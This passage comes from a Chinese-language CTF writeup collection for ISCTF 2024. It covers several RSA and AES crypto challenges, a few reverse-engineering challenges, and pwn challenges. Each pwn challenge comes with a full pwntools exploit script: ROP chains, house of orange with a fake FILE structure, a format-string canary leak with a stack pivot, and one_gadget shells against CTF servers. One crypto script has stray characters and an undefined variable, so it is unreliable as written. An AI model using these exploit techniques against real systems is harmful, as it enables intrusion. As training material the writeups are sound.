![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=MTk1ODNkZjAxMWM5MWE3MmFjODAwMTAzM2Y3ODc2YTBfeFBMZGxZQ2tJWHF4a2c3NjBlQmRtck9TVVdRWE5pNTFfVG9rZW46U0VHZ2JyYlRRb2Z6cFd4dXpRRWNxZFBzbmRoXzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

即：$ g = hf-kp $

构造矩阵：

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=ZWU4ZWQ4YjAwZTQ3MTBlNzIwNTg2NDA2YTA2NmU0MDhfZU9sNmU1NUkzamUwMUtocTdxa1lYOUd1bnVBSUNaRXVfVG9rZW46TDZmUWIyOVdob1RzTm94aDgxcWNWZFNMbjFiXzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

可以看到满足LLL算法，即可求解f，再进行n分解。

解题代码如下：

```Python
#encoding=utf-8
import decimal

import gmpy2

from sage.all_cmdline import *
from sage.all import *
from Crypto.Util.number import *
from sympy.external.gmpy import *

c = 587245179027322480379581200283415189810421958968516831191660631552695197401940961725169763339428980298128692606951200581483431566182271569207988054537414289564013883171160614196522169980339024564884190765084419167938640701193928669
hint = "0.2427542737153618793334900104191212626446625872340179613972610728976081994921862517310186626304527115125924716035632505287111236596234811779375148657365336957626454491865164520834975233144235103885081268955448330597818844340656652982593545877449810282619387305007246499089258519062093814083383071737897364213169497762760797899310673216754376885295598952272100016962368762532805864796748393317534908268379601445004775495237901072144236328105526403608646831124542336002540011176406194984370372589752234640498423911217119220030242197564695880261480071310815379681250975672935544404797155655708441222387631967447088319826137200280810029390387418159394276760100487636516708987579464183208860911063948902432948269805493252899815187044807603000344378890835564906163242023600624338694473573763088471321731611077227112205396909637906507673367598721218000123789690455125909411309668615810240938664264212370815385282488986625554704015828254539339719586211726300858711328516487805251366293457402531199532556110786048074755505680210260049"
n = 839799159583571337450826982895478997157381520448790705455708438948150905361244823725400304016136863419723271227616684280477524669207590477657886623628732394537008838314015048569652202355464477680540884654473950183135276735347866051

cf = continued_fraction(RealNumber(hint))
convers = cf.convergents()
for pkd in convers:
    # possible k, d
    h, p = pkd.as_integer_ratio()
    if isPrime(p) and p.bit_length() == 512:
        #print(h * 2)
        #print(p)
        h = h*2
        break

Ge = Matrix(ZZ,[[1,h],[0,p]])
#print(Ge.LLL())
f,g = Ge.LLL()[0]
f,g = abs(f),abs(g)
f = int(f)
phi = (f-1)*(n//f-1)
d = invert(65537,phi)
print(long_to_bytes(pow(c,d,n)))

#b'ISCTF{27d5473d7ceb8a89-98eb9b12-e8f6b2ae-cc3bcbca17c434b}'
```

### 我和小蓝鲨的秘密

出题人：fpclose

解题过程：

给出图片加密脚本

```Python
from PIL import Image
from Crypto.Util.number import bytes_to_long, long_to_bytes
import numpy as np

n = 29869349657224745144762606999
e = 65537

original_image_path = "flag.jpg"
img = Image.open(original_image_path)
img = img.convert("RGB")

img_array = np.array(img)
h, w, _ = img_array.shape

encrypted_array = np.zeros((h, w, 3), dtype=object)
for i in range(h):
    for j in range(w):
        r, g, b = int(img_array[i, j, 0]), int(img_array[i, j, 1]), int(img_array[i, j, 2])

        encrypted_array[i, j, 0] = pow(r, e, n)
        encrypted_array[i, j, 1] = pow(g, e, n)
        encrypted_array[i, j, 2] = pow(b, e, n)

np.save("encrypted_image.npy", encrypted_array)
print("图片已加密并保存为 encrypted_image.npy")
```

rsa的难度也不大，可以直接分离，纯纯签到题，根据加密脚本拿到密钥后解密即可

exp：

```Python
from PIL import Image
from Crypto.Util.number import inverse, long_to_bytes
import numpy as np

# 公钥参数
n = 29869349657224745144762606999
e = 65537

# 假设我们已获得私钥 d
# 计算私钥 d，假设 p 和 q 已知
p = 160216064374859
q = 186431677583461
phi_n = (p - 1) * (q - 1)
d = inverse(e, phi_n)

# 加载加密的图像数据
encrypted_image_path = "encrypted_image.npy"
encrypted_array = np.load(encrypted_image_path, allow_pickle=True)

h, w, _ = encrypted_array.shape
decrypted_array = np.zeros((h, w, 3), dtype=np.uint8)  # 结果是标准的 uint8 类型

# 对每个像素的 R、G、B 分量进行 RSA 解密
for i in range(h):
    for j in range(w):
        # 提取加密的 RGB 值
        encrypted_r, encrypted_g, encrypted_b = encrypted_array[i, j]

        # 使用私钥 d 逐个通道解密
        decrypted_array[i, j, 0] = pow(encrypted_r, d, n)  # 解密 R 通道
        decrypted_array[i, j, 1] = pow(encrypted_g, d, n)  # 解密 G 通道
        decrypted_array[i, j, 2] = pow(encrypted_b, d, n)  # 解密 B 通道

# 转换回图片并保存
recovered_img = Image.fromarray(decrypted_array)
recovered_img.save("recovered_image.png")

print("图片已还原并保存为 recovered_image.png")
```

解密后即可看到flag

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=Yzc5YzJkMThlODcwNWFiNTY0YmY5OTMyMjlmMWQ5NWNfaUpvUnd5VzVtdnZxUUJ5eVRsYzB6UHpPS1dMaml0SEZfVG9rZW46Q2o2YWJRNThOb09IZkV4aG5wVGNoczRDbkdmXzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

### 小蓝鲨的密码

出题人：fpclose

解题过程：

我发誓这题真的是出出来给大家签到的。结果到比赛结束了只有12解。出乎了我的意料QAQ

下载附件解压，有一张图片、一个压缩包、一个文本文件。首先查看文本文件，得到铭文

```Python
U2FsdGVkX1/spa9kXpumHMXclw7hNOVc6ySFWYESHjfM5igIuKER30eSBp5NS0vMjkBa4Za6NgQbHVW/hJRiGA==
```

看到这个标准开头，猜测要么是`rabbit`要么是`aes`。都是需要密钥的。压缩包也是有密码，那么压缩包的密码就在图片中。

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=MGY4ODAwNDMwODQ0NjMzMjBmOThlNjYzMGQzN2NiMjRfam1JM0tiZXNtbmRmSlVLZlBKZ056WnB5QktNYnlYSE9fVG9rZW46RFZQVmJYRzREb292S0V4ZVpYT2NJc00zbkZnXzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

得到提示，路就在脚下。

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=MzAyYjY4NDMyNzczZDgxZDgwYTc1NzVjY2EzZDk3NDZfQXpmUXBhRWtaelBaV3d2YmJwOVlvTEg3TmN6M2lRSE1fVG9rZW46VEtJTGJVUEhKb2w1d0N4Y0lJSmNyTUFqbjMzXzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

路就在脚下，不就是图片的名字吗，那么压缩包密码为：

```Python
bluesharkinfo
```

解压压缩包得到一个密码字典

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=MThmM2YzZThmZWEyM2EyZDhkYTEyMGQwY2JhYWRiYmFfSUt6aTlEbUxudm1ZRTR3dWdmeDZQa0x4UDFTTEJUQ1NfVG9rZW46QnlNNmJhSmZOb1hZWFp4bVBVYWNuT016bmRoXzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

尝试后可发现，是aes的密码，密钥是`isctf2024`。解密拿到flag。

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=NGRhY2NlM2ZkNTNhYWM0MjkyOGM5ZDRkOGJkZjM4MGZfY2dnZFZPTWlSU3gzbnRkNzFBeHpRNWp3YzlDNllsbEpfVG9rZW46VUVGeWJmTktub3JHT2x4MTVyeWNJdjNxbm9mXzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

### 小蓝鲨的方程

出题人：Pr3d1ct

解题过程：

很常见的rsa加一些高中方程知识

首先我们先看p的生成

```Python
def get_p():
    BITS = 256
    bits = 777
    oder = 4
    a = randint(1 << bits, 1 << bits + 1)
    p=getPrime(BITS)
    p1 = p**oder+a
    return p,p1
```

在这里可以看到这个函数会返回p和p**oder+a，因为a的大小远远比p**oder小，所以我们开order方可以得到一个近似于但是略微大于p的值，这时候我们将得到的值稍微减少一下取nextprime就可以得到p了。

接下来看第二步，给了两个值，一个c一个c1

$$c1=pow(s,e,n)$$

$$c=pow(s**3+1,m1,s**5)$$

可以发现我们跟flag有关的信息在c的生成里面，可能会有师傅想到dlp，其实哪有这么麻烦，其实就是一个高中知识辣，大家知道方程不，知道(x+1)**2等于什么吧，知道(x+1)**3等于什么吧，知道(x+1)**4，那师傅们展开看

(x+1)**2=x**2+2*x+1,(x+1)**3=x**3+3*x**2+3*x+1,接下来不多说，可以很容易的发现我们展开的多项式系数其实就是从C_0_n到C_n_n嘛，其实就是高中的排列组合

那我们们根据这个就可以知道了pow(s**3+1,m1,s**5)，在多项式倒数第二项得到的系数就是我们的m1，然后我们首先利用得到的c1，解密rsa得到s，然后我们展开c1，c1 + k*s**5=s**(3*m1)+...+m1*s**3+1,两边同时减1,这时候我们可以发现等式右面剩下s**m1+...+m1*s，这时我们想获取m1,我们可以直接将式子整除s，这样我们就可以的到式子（c1+k*s**5-1)//s**3=s**(3*(m1-1))+...+m1，同时mod s得到(c1-1) mod s = m1,所以我们就得到答案了

很简单吧是不是就是最基础的rsa加一个高中学的方程呢，exp如下：

```Python
from Cryptodome.Util.number import *
from gmpy2 import *
c1= 671390498592586008552998377599101093977542184109077889081448730480869018650843045119891777468161631085086340705902115332025675787789530562679603254577287153918966364523848382506106179394235772395029788721306186952016420794804145631124905952103136061076643266886961178241381892015555099638200222249447194504082451341122502519637821695210573997670753981061458264118355417889153180841281073262935937836447460470926729282834006229571453935760593644658459098721652426154970766417292435960463905367868753821950303919781798234432998272038029063155193184039985018137026245365188171178677898869374676546799536208952198558258306460302868688355653022725288744014143221560882404431652751343944983442109327
c = 8641190030376811670503537177719719233418166235794962118828671236836174132083208517733734760455990850156371205118391537919769888760384574011411232571257192285256730733174399297826587479261381970232162702657952399683882650083181048279650913795429823628186888540572704055008102853692060360140858142686334722286525699998854566609078547487420929457446776757558492454916447188774943818970599916514467335772992690805247630814156710861067503956707301402347944233660194395192354000788262111000900574820275786269075882923600474781645848712157460135387134196156906258218217831988828360827613420801773911833194097791649069743116686685667300622630909231822986237104627385544169938138006242341269672868611269202418482629393372933567053272565557137741441902377611003983050084491513897727856173625922194300103448148829004025229567101761111396110940066254801762424343522707712480796358754008120503317686600144600226149617189681233392693738216138797012278242152852923361635415564580582002132107424154426980566696622448291815571736676562214017436
n = 1076246859437269645898003764327104347852443049519429833372038915264009774423737482018987571807662568251485615769880354898666799006772572239466617428164721157850526408878346223839884319846641438292436373441749602341461361190584638190903978829024853974880636148520803145113551453821058269641304504880310836801494499720662704717315748614372503735165114899680682056477494953525794354656896362929510309669119173103242509398650608116835276076364248473952717811633756784397347121601006659623317417388283638159905288128181587304367489096254611610975352096229116491567502061775862811850081040850421151385474249060884479729988512713640536139010928836126719149031115182144744359297169350288886555784650111
p1 = 145356063641618996012874664536921616978986640263438210169671010403677822239343590475177543891188656103067696467174379510912427160232486984044862545338401652910975162942038201716552753723984593267892098222213049269335313670049037479410635628460505327693176152061750827570561482918795206276991967169087371403553

print(iroot(p1,4))
c0=iroot(p1,4)[0]

for i in range(2000):
    b=c0-i
    x=next_prime(b)
    if n%x==0:
        print(x)
        print(iroot((n // x), 4))
        q=iroot((n // x), 4)[0]
        d=inverse(65537,(x-1)*(q-1)*q3)
        s=int(pow(c1,d,n))
**        m=((c-1)//s**3)%s
        print(long_to_bytes(m))
        m1=long_to_bytes(m)
        break
```

## 三、Pwn

### 小蓝鲨stack

出题人：笙南

解题过程：

比较少见的一个题型，不过并不难，ida64查看代码发现只有一个read和printf打印我们输入的东西

这里是没办法通过rop链去泄露libc地址的。

程序原设定的返回地址是

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=OGQ5ZjUxZDFlYWY0YTNkZDI0NzBiZTc4YWRiZTVkOWRfSlVZRzJqdzA1WFJmd2dwSXpJdFBCS2VKN3VPRDBrb3dfVG9rZW46S1lnUmI5SEhwb0lFMWR4V09RS2NXcjBRbkV1XzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

而我们需要利用的正是__libc_start_main里面的一段gadget

我们将libc文件拖入ida，分析__libc_start_main段上的汇编

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=YTRiNGFkYzIyNjQxMTFhZmEyOTIyOGU4OTMzOTBmNzNfZzVQMndiT01PZVJPRXp2MUNZYmlRVHJVYkZTcmR3MGFfVG9rZW46UnlxWWJ1TkNub2tBM014SWdCWGNiajNLblZoXzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

程序原返回地址是24083这里，我们发现在该地址上面还有一段call rax，而此时rax恰好被赋值为了main函数起始地址，也就是说我们将返回地址修改为mov rax这里就可以再次返回到main函数，并且由于printf函数会打印我们输入的东西，我们还可以把返回地址给打印出来，这样我们就拿到了libc地址，以及第二次利用read函数，接下来就是直接打rop链获得权限。

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=YWQxZDY3Y2ZmMzkyNmUzN2FiNmZhMjhjOGRkMWYwZTJfcnBJWTNleGRTUkFDalAyT3BQNWFkc0ZCVW5ERkpEQWlfVG9rZW46T2dUS2Jxc1QwbzBDUVF4TUJZOGNHYzdYbnJqXzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

调试发现确实会返回到main函数

```Python
from pwn import*
from struct import pack
import ctypes
context(log_level = 'debug',arch = 'amd64')
#p=process('./ezstack')
p=remote('27.25.151.12',28909)
elf=ELF('./ezstack')
#libc=ELF('/root/glibc-all-in-one/libs/2.27-3ubuntu1.6_amd64/libc.so.6')
libc=ELF('/root/glibc-all-in-one/libs/2.31-0ubuntu9.16_amd64/libc.so.6')
def bug():
    gdb.attach(p)
    pause()
def s(a):
    p.send(a)
def sa(a,b):
    p.sendafter(a,b)
def sl(a):
    p.sendline(a)
def sla(a,b):
    p.sendlineafter(a,b)
def r(a):
    p.recv(a)
def pr(a):
    print(p.recv(a))
def rl(a):
    return p.recvuntil(a)
def inter():
    p.interactive()
def get_addr64():
    return u64(p.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))
def get_addr32():
    return u32(p.recvuntil("\xf7")[-4:])
def get_sb():
    return libc_base+libc.sym['system'],libc_base+libc.search(b"/bin/sh\x00").__next__()
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
#bug()
s(b'a'*0x28+b'\x7c')
libc_base=get_addr64()-147580
li(hex(libc_base))
system,bin=get_sb()
rdi=libc_base+0x0000000000023b6a
pay=b'a'*0x28+p64(rdi)+p64(bin)+p64(rdi+1)+p64(system)
s(pay)
inter()
```

### Orange

出题人：SunD1y

解题过程：

菜单题，edit可以溢出，无free，使用house of orange  构造largebin attack 攻击，接着使用edit 溢出泄漏 heap和libc地址 触发largebin attack，布置好fake IO FILE 之后调用exit 触发getshell

```Python
#!/usr/bin/env python
# encoding: utf-8
from pwn import *
import time
import numpy as np
from pwncli import *


local_file  = './pwn'
elf = ELF(local_file)
libc=ELF('libc.so.6')
context.log_level = 'debug'
context.arch = elf.arch
context.terminal = ['tmux','neww']
#,''splitw','-h''


s      = lambda data               :io.send(data)
sa     = lambda delim,data         :io.sendafter(delim, data)
sl     = lambda data               :io.sendline(data)
sla    = lambda delim,data         :io.sendlineafter(delim, data)
r      = lambda numb=4096          :io.recv(numb)
ru     = lambda delims, drop=True  :io.recvuntil(delims, drop)
uu32   = lambda data               :u32(data.ljust(4, b'\x00'))
uu64   = lambda data               :u64(data.ljust(8, b'\x00'))
get_q = lambda data: (~np.uint64(data) + 1)
get_d = lambda data: (~np.uint32(data) + 1)
def get_sh() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
info_addr = lambda tag, addr        :io.info(tag + '==>' +': {:#x}'.format(addr))
itr    = lambda                    :io.interactive()
is_debug = 0
if is_debug:
    io = process(local_file)
    #io = process(["/Users/Juxin.Gao/Desktop/ctf/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/ld-2.23.so",local_file], env={"LD_PRELOAD":"./libc-2.23.so"})
    libc = elf.libc
else:
    io = remote('192.168.18.22',8888)
    libc = elf.libc
    #libc = ELF('.') #libc

def debug(cmd='''b *$rebase(0x0001624 )'''):
    if is_debug: gdb.attach(io,cmd)
    pause()

def men(i):
    ru(':')
    sl(str(i))
def add(i,size,content):
    men(1)
    ru(':')
    sl(str(i))
    ru(':')
    sl(str(size))
    ru(':')
    s(content)
def free(i):
    men(2)
    ru(':')
    sl(str(i))
def show(i):
    men(3)
    ru(':')
    sl(str(i))
def edit(i,content):
    men(4)
    ru(':')
    sl(str(i))
    s(content)

for i in range(10):
    add(i,0x200,b'a')
for i in range(7):
    free(9-i)
free(0)
free(1)

# for i in range(7):
#     add(i+3,0x200,b'a')

add(0,0x300,b'a')
#add(2,0x200,b'a')

show(0)
ru('a')
libc_base=uu64(b'a'+r(5))-0x21b061
print(hex(libc_base))
free(0)
add(0,0x300,b'a'*0x10)
show(0)
ru('a'*0x10)
heap_base=uu64(r(6))-0x290
print(hex(heap_base))

heap1=heap_base+0x8d0
stdout = libc.sym['_IO_2_1_stdout_'] + libc_base
pop_rdi = libc_base + 0x000000000002a3e5
pop_rsi = libc_base + 0x000000000002be51
pop_rdxr12 = libc_base + 0x000000000011f2e7
ret = libc_base + 0x0000000000029cd6
pop_rax = libc_base + 0x0000000000045eb0
pop_rbp = libc_base + 0x000000000002a2e0
leave_ret = libc_base + 0x000000000004da83
close = libc_base + libc.sym['close']
read = libc_base + libc.sym['read']
write = libc_base + libc.sym['write']
syscallret = libc_base + next(libc.search(asm('syscall\nret')))

system=libc_base+libc.sym["system"]
tar=stdout
gadget=0x000000000173C1E+libc_base

key=(heap1>>12)^tar
add(1,0x100,b'a'*0x10)
flag_addr = heap_base+ 0x6e0+0x30
payload = p64(pop_rdi) +p64(flag_addr) +p64(pop_rax)+p64(0x3b)+p64(pop_rsi)+p64(0)+p64(pop_rdxr12)+p64(0)+p64(0)+p64(syscallret)
#payload = payload.ljust(0x100, b'\x00')
payload += b'/bin/sh\x00'
payload=payload.ljust(0x200,b'a')
edit(1,b'a'*0x100+p64(0)+p64(0x211)+payload+p64(0)+p64(0x211)+p64(key))

add(2,0x200,b'a')

#print(hex(gadget))
#debug()
#debug()
print(hex(gadget))
print(hex(tar))
print(hex(pop_rdi))
#debug()
#tmp=p64(1)*2+p64(libc_base+0x00080520    )+p64(gadget)#+p64(1)*7+p64(libc_base+0x08052A   )*19
#tmp=tmp.ljust(0x200,b'\x00')

system=libc_base+libc.sym['system']



rop=heap_base + 0x6c0

file1 = IO_FILE_plus_struct()
file1.flags = 0   
file1._IO_read_ptr = pop_rbp  #迁移 stack
file1._IO_read_end = rop  - 8 
file1._IO_read_base = leave_ret #第二次 迁移stack 到heap 
file1._IO_write_base = 0
file1._IO_write_ptr = 1
file1._lock = heap_base 
file1.chain = leave_ret # 第一次 call 此处
file1._codecvt =stdout
file1._wide_data =stdout - 0x48
file1.vtable = libc.sym['_IO_wfile_jumps'] + libc_base - 0x20


print("vatable vaule",hex(file1.vtable))


add(2,0x200,bytes(file1))
#add(2,0x200,p64(0)*2+p64(libc_base+0xebc88)+p64(gadget)+p64(0)*7+p64(libc_base+0x80520))



#sl(p64(rdi)+p64(sh)+p64(libc_base+libc.sym.system))
#sl(b'a'*0x50)
#edit()
itr()
```

### netcat

出题人:b55t4ck

解题过程:

通过nc工具连接即可获得flag，linux系统一般自带nc，Windows可能需要安装nc.exe

### girlfriend

出题人:b55t4ck

解题过程

打开ida，静态分析

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=NTQzNWYyYWYwYWEyMmU3ODFiOTY5ODZkZWI3YmQ5OTVfWllKQjhIeEtPWmNhbEl2V09zUDBxcmhDbTN1VHhTckpfVG9rZW46RXBpY2JBcVpmb1liS1p4V1RyT2M0MEhybnllXzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

s1可以通过越界读取，将其覆盖为admin，从而进入vuln函数

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=NDlhMmE4ZTdmMWU4ZGMyMzk5OTU0OGJmZTEyZTJkYzhfZ1Q1SFBxMEdhWXRJcXFPRHJpbmNpOU1MSkRJaWE2ZlJfVG9rZW46S1l2dGJ6ZGJRb3VMVEF4NnlqamNnVzVPbjBlXzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

这里循环了8次，此时发生数组溢出，可将返回地址填为amaze(后门函数)的地址，进行调用system("/bin/sh")，

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=NjE1MmNhNjY2NDZlOGY0NGE1ZjZjN2ZhMWRjNzcxNDVfc1pwVmNwcFJDUmlHNkI0b3pMYmhqMklOaGJ3NERuTVFfVG9rZW46S2VuT2JKNmhwb1Mxb3Z4RzlYdGNkOUU2blFWXzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

从而获取远程终端shell，通过命令cat flag即可

```Python
from pwn import *
p=remote("27.25.151.12",25632)
#p=process("./pwn")
elf=ELF("./pwn")
p.sendafter(b'first i need your team id',b'a'*0x28+b'admin')
#gdb.attach(p)

p.sendlineafter(b'please input your 1 girlfriend birthday',b'1')
p.sendlineafter(b'please input your 2 girlfriend birthday',b'1')
p.sendlineafter(b'please input your 3 girlfriend birthday',b'1')
p.sendlineafter(b'please input your 4 girlfriend birthday',b'1')
p.sendlineafter(b'please input your 5 girlfriend birthday',b'6')
p.sendlineafter(b'please input your 6 girlfriend birthday',b'6')

p.sendlineafter(b'please input your 8 girlfriend birthday',b'4198942')

p.interactive()
```

### ret2orw

出题人:b55t4ck

解题思路:

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=M2I1MzFjNWVkYWI2Mzk4MGVmYTRkMTkwMTNkZGU5OTZfUGx4T1M3eUxwckRmU01qd2pIWU5GQ2ZqeVZycGVXaWhfVG9rZW46RllncmJNbFlHb1h1TUJ4MUtEVWNjWmwzbkJjXzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

首先可以在vuln函数发现栈溢出，而此时又给了应该貌似是后门函数。

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=ZTY2MjY5YjYyMDkwMDlmZTQyNDE1MTIwYTBhMDYzMzRfelNxUmc3S3JFWUxGUDVSN3JXUjNwcFpGYUtUemFTQ3VfVG9rZW46S2xlZmJ2U3Btb2xvNnJ4M3VlUmNlbGNBbnFnXzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

跳转到这里来会出现bad syscall。这是由于禁用了system调用的原因，在init函数可以看到。

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=MmViMzQxM2U0Yzc5N2NhNjcxNDRhMWZkMjFmNzJjYThfWDRrbmNqRFhaTHVwc25pMU9EeW5ocjFXV0ROQ3JNSExfVG9rZW46QzJvZ2JYVDBWb0RTclB4cmFKaGNMNHJpbkJnXzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

既然可以栈溢出，那么我们就可以利用gadget去调用libc里面存在的open,read,write。从而读取flag。

```Python
from pwn import *
from struct import pack
from ctypes import *
import base64
#from LibcSearcher import *

def debug(c = 0):
    if(c):
        gdb.attach(p, c)
    else:
        gdb.attach(p)
        pause()
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa  = lambda text,data  :p.sendafter(text, data)
sl  = lambda data   :p.sendline(data)
sla = lambda text,data  :p.sendlineafter(text, data)
r   = lambda num=4096   :p.recv(num)
rl  = lambda text   :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter   = lambda        :p.interactive()
l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))
uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))
int16   = lambda data   :int(data,16)
lg= lambda s, num   :p.success('%s -> 0x%x' % (s, num))
#-----------------------------------------------------------------------------------------

context(os='linux', arch='amd64', log_level='debug')
#p = process('./pwn')
p=remote("gz.imxbt.cn",20370)
elf = ELF('./pwn')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

pop_rdi = 0x00000000004012CE
ret = 0x4010CF

#debug('b *0x4012a0')
#gdb.attach(p)
sa(b'this?\n', b'a'*0x28 + p64(pop_rdi) + p64(elf.got['puts']) + p64(elf.sym['puts']) + p64(elf.sym['main']))
pause()
libc_base = uu64() - libc.sym['puts']
print(hex(libc_base))
pause()
system, binsh = get_sb()

rax = libc_base + 0x45eb0
syscall = libc_base + next(libc.search(asm('syscall; ret;')))
rdi = libc_base + 0x2a3e5
rsi = libc_base + 0x2be51
rdx_r12 = libc_base + 0x11f2e7
mprotect = libc_base + libc.sym['mprotect']
open_ = libc_base + libc.sym['open']
read = libc_base + libc.sym['read']
write = libc_base + libc.sym['write']
buf = 0x4040D0
flag = 0x4040a0

payload = b'a'*0x28
# read flag -> buf
payload += p64(rdi) + p64(0) + p64(rsi) + p64(flag) + p64(rdx_r12) + p64(8)*2 + p64(read)
# open flag
payload += p64(rdi) + p64(flag) + p64(rsi) + p64(0) + p64(rdx_r12) + p64(0)*2 + p64(open_)
# read flag
payload += p64(rdi) + p64(3) + p64(rsi) + p64(buf) + p64(rdx_r12) + p64(0x30)*2 + p64(read)
# write flag
payload += p64(rdi) + p64(1) + p64(write)

sa(b'this?\n', payload)
sleep(1)
s(b'/flag')

#pause()
inter()
```

### 0verf10w

出题人:b55t4ck。

一道比较综合的题目，考察栈迁移，格式化字符串，还有防御机制绕过的漏洞，首先可以通过格式化字符串泄露canary，和libc。再通过vuln函数溢出的一个字节实现栈迁移，从而劫持程序执行流，然后再通过one_gadget即可获取shell。需要注意的是，本地环境需保持与远程一致，不然可能出现本地打得通远程打不通的情况。

```Python
from pwn import *
p=remote("27.25.151.12",39834)
#p=process("./stack")
elf=ELF("./stack")
libc=ELF("/home/giant/glibc-all-in-one/libs/2.35-0ubuntu3.8_amd64/libc.so.6")
#gdb.attach(p)
p.sendlineafter(b'?\n',b'a'*0x1)

p.sendafter(b'!\n',b'\x00'*8+b'%3$p%9$p%15$p')

libc_base=int(p.recv(14),16)-libc.sym["read"]-18
print(hex(libc_base))
canary=int(p.recv(18),16)
stack_addr=int(p.recv(14),16)-0x158
print(hex(stack_addr))
ogg=libc_base+0xebd43
kx=libc_base+0x21c100
a = int((hex(stack_addr)[-2:]),16)
p.sendafter(b'?\n',p64(canary)+p64(kx)+p64(ogg)+p64(canary)+p8(a-8))
p.interactive()
```

### ez_game

出题人：Qjzhalx

解题过程：

利用gets 能不能覆盖掉 seed 

```Python
from pwn import *
from ctypes import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
q = process("./pwn")

libc = cdll.LoadLibrary("./libc.so.6")
payload = b"a" * 400 + p64(0)
q.sendline(payload)

libc.srand(0)
for i in range(20001):
    num = str(libc.rand()%7+1)
    q.sendline(num)


q.recvuntil("It's your reward, take advantage of it.")
q.interactive()
```

## 四、Re

### 你知道.elf文件嘛

出题人：BaitRc1

解题过程：

签到题，拿到附件，先查一下壳，vmp壳，64bit的，很显然，不能直接逆，可以先运行一下看看，虚拟机运行一下，提示输入base64编码的标准码表，直接输入回车拿flag：

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=ZmRjMGRkMGE2NTg3ZjAwMWMzM2RmOTY0YWU4ODA3ZTZfRUtsWWFoRDdYMGJKQVgwOU43RVBiRE5iNFVlTzFTVmVfVG9rZW46QVNuNGJvRjI4b2VyQ2x4VWtHWmM2NW5FbmxlXzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

### py不好，会被ban

出题人：BaitRc1

解题过程：

python逆向，拿到附件，先用pyinstxtractor.py解包，然后用uncompyle6反编译发现不支持，并且可以知道python版本是3.12，只能试试pycda，发现反编译不完全，

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=Mzg1ZDM4N2E4NTcyNmZlNzAwOThmMTU0NDlkYzZjMzJfQUtISTlHQ2xxUjdRYW5IeVlwaTZDOVRSYVVueW53c0JfVG9rZW46U29POGJrcG1Qb09FUTl4OFpqdWN5RDlJbmVjXzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

所以就只能看python的字节码了，这里就不显示字节码了，挺长的，但是不复杂。

就是一个简单的异或

直接写解密脚本

```Python
enc = [0x19, 0x55, 0x58, 0x3e, 0x69, 0x5d, 0x6e, 0x7c, 0x1, 0x61, 0x2e, 0x2f, 0x4b, 0x5, 0x74, 0x30, 0x2, 0x19]
key = [0x69, 0x73, 0x5f, 0x2e, 0x70, 0x79, 0x5f, 0x6e, 0x6f, 0x74,
       0x5f, 0x70, 0x79]
for z in range(len(enc)):
    enc[z] ^= key[z % len(key)]

for j in range(len(enc) - 2, -1, -1):
    enc[j] = enc[j] ^ enc[j + 1]

enc.reverse()

for i in range(len(enc) - 2, -1, -1):
    enc[i] = enc[i] ^ enc[i + 1]

for iiii in range(len(enc)):
    print(chr(enc[iiii]), end="")
```

flag：NSSCTF{Y0u_r3@l1y_knOw_py}

### 找啊找

出题人：0e1G7

解题过程：

查壳，是个upx变异壳，64bit

